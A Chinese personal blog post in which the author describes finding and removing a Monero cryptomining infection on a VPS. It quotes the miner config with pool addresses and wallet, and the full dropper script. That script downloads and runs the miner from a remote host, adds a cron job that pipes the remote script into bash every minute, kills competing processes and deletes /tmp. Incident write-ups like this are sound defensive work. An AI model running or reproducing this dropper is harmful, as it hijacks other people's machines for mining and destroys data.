六号线晚报0722

emmmm居然中了一次挖矿病毒pscf

发现

微皮艾斯最近不太能连上,时断时续,想重新部署一个顺便搭个梯子。
完成之后发现才几十k的速度,ping一下100多ms也还ok的呀,感觉不太对,top一下看到一个普通用户下一个pscf进程99%以上的占用,我嚓摊上事儿啦

解决1

直接kill进程,done。速度并没有什么变化,再top一下,嗯?pscf又跳出来了。
这时候还没觉得是病毒,考虑是不是一键搭梯子的时候是不是需要什么文件没有控制好死循环之类的。

lsof -c pscf查看到运行的文件看到一条/var/tmp/pscf -c /var/tmp/wc.conf
打开/var/tmp/pscf看到是一个编译过的执行文件,这文件干啥的也看不懂。

ls -al /var/tmp/查看一下发现时间不对呀,今天才搭梯子这pscf的文件日期是5天前呢。

继续看/var/tmp/wc.conf内容

{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": 5,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.20:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],    
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}

虽然没见过挖矿病毒但是里面这写参数还有出现的几个miner,感觉中奖了。
继续查看/var/tmp/config.json 内容和wc.config一样

遂百度pscf,翻了几页都没有,百度挖矿病毒搜到的都是minerd之类的,解决方式就是删文件之类的,我这删了又生成啊。这时候又想到另一个办法。

解决2

既然还生成那我直接把运行读取那些权限去掉不就好了吗?
于是chmod 000 /var/tmp/pscf
kill 21414
top
嗯,有效果,过会再看f**k又跳出来pscf进程了,
ls -al /var/tmp/ 咦,这次又来一个pscf3,唉,果然是我太年轻了。

解决3

继续百度linux病毒之类的东西,突然发现有个说定时任务,嗯?感觉有可能。
crontab -l 提示此用户下没有定时任务,继续,查看 vi /etc/crontab 也没有定时任务,再找 vi /var/spool/cron/z 发现这个目录下面居然有个z开始用户的文件这个用户没有设置过定时任务呀,于是打开,果然发现了一条

* * * * * wget -q -O http://192.99.142.226:8220/cr.sh

然后wget http://192.99.142.226:8220/cr.sh下来看一下

#!/bin/bash

pkill -f /var/tmp/java
pkill -f /tmp/java
pkill -f zz.sh
pkill -f https
pkill -f 192.99.142.232
pkill -f 46.249.38.186
rm -rf /var/tmp/java
pkill -f 185.222.210.59
pkill -f ririg
rm -rf /tmp
rm -rf /var/tmp/j*
rm -rf /var/tmp/t*
rm -rf /tmp/t*
ps ax | grep /tmp/ | grep -v grep | grep -v 'ppl\|pscf' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf' | grep -v grep | grep -v 'ppl\|pscf' | awk '{print $1}' | xargs kill -9
rm -rf /tmp/java
pkill -f pscc
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/pscf
pkill -f wo.conf
pkill -f gmr
rm -rf /var/tmp/java
rm -rf /var/tmp/ppc
DIR="/var/tmp"
if [ -a "/var/tmp/pscf" ]
then
    if [ -w "/var/tmp/pscf" ] && [ ! -d "/var/tmp/pscf" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /var/tmp/pscf | awk '{ print $1 }')
            echo $sum
            case $sum in
                c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                    echo "pscf OK"
                ;;
                *)
                    echo "pscf wrong"
                    pkill -f wc.conf
                    pkill -f pscf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/var/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/pscf" ]
then
    DIR=$(mktemp -d)/var/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="192.99.142.226:8220"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/pscf ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/pscf | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "pscf OK"
            ;;
            *)
                echo "pscf wrong"
                sizeBefore=$(du $DIR/pscf)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                #$WGET $DIR/pscf https://transfer.sh/wbl5H/pscf
                download
                sumAfter=$(md5sum $DIR/pscf | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/pscf` > $DIR/var/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "pscf OK"
                cp $DIR/pscf3 $DIR/pscf
            ;;
            *)
                echo "pscf wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/pscf http://192.99.142.226:8220/xm64
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/pscf | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "pscf OK"
                cp $DIR/pscf $DIR/pscf3
            ;;
            *)
                echo "pscf wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}


if [ ! "$(ps -fe|grep '/var/tmp/pscf'|grep 'wc.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/pscf
    $WGET $DIR/wc.conf http://$f2/wt.conf
    nohup $DIR/pscf -c $DIR/wc.conf > /dev/null 2>&1 &
    sleep 5
else
    echo "Running"
fi
if crontab -l | grep -q "192.99.142.226:8220"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/cr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
pkill -f /var/tmp/java
pkill -f /var/tmp/java
pkill -f 192.99.142.232
chmod 777 /var/tmp/pscf
crontab -l | sed '/185.222.210.59/d' | crontab -

霍!没错就是你了,简单看一下就是下载文件,执行挖矿程序,加入定时任务,这么一看套路也很一般呀。

解决4
  1. vi /var/spool/cron/z** 删除定时任务保存文件;
  2. kill 21969 pscf进程;
  3. rm /var/tmp/pscf /var/tmp/wc.conf /var/tmp/config.json
    继续top查看,没有出现pscf进程,cpu占用正常。
后记

虽然已经解决了占用的问题,执行文件也删除了,但是这个挖矿病毒的定时任务是如何加到系统里的,下一步还要继续查找问题。
百度的时候有人说可能有ssh留了后门之类的,我查看了.ssh/authorized_keys和/etc/ssh/sshd_config 并没有发现什么问题,明天继续观察一下。
干掉这个挖矿程序后梯子的速度一下就翻倍的上去了,开心。
顺手查了一下ip加拿大的,果然啊。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,794评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,050评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,587评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,861评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,901评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,898评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,832评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,617评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,077评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,349评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,483评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,199评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,824评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,442评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,632评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,474评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,393评论 2 352

推荐阅读更多精彩内容

  • Linux习惯问题: 在vim编辑时,按了ctrl + s后,再按ctrl + q就可以继续执行了。ctrl + ...
    光着脚的鞋阅读 4,506评论 0 16
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,157评论 2 33
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,739评论 0 10
  • 烟雨蒙蒙,细雨纷纷 与子携手,含情邂逅 小池新叶,并肩摇曳 月明如水,孤亭伴谁 秋意渐凉,秋霜渐浓 纵然嫌弃,却也...
    阿琴姑娘阅读 557评论 16 32
  • 过好属于自己的生活!就算一个人,又能怎样?依旧,笑然面对,内心充实!
    崔左岸烟逝阅读 167评论 0 0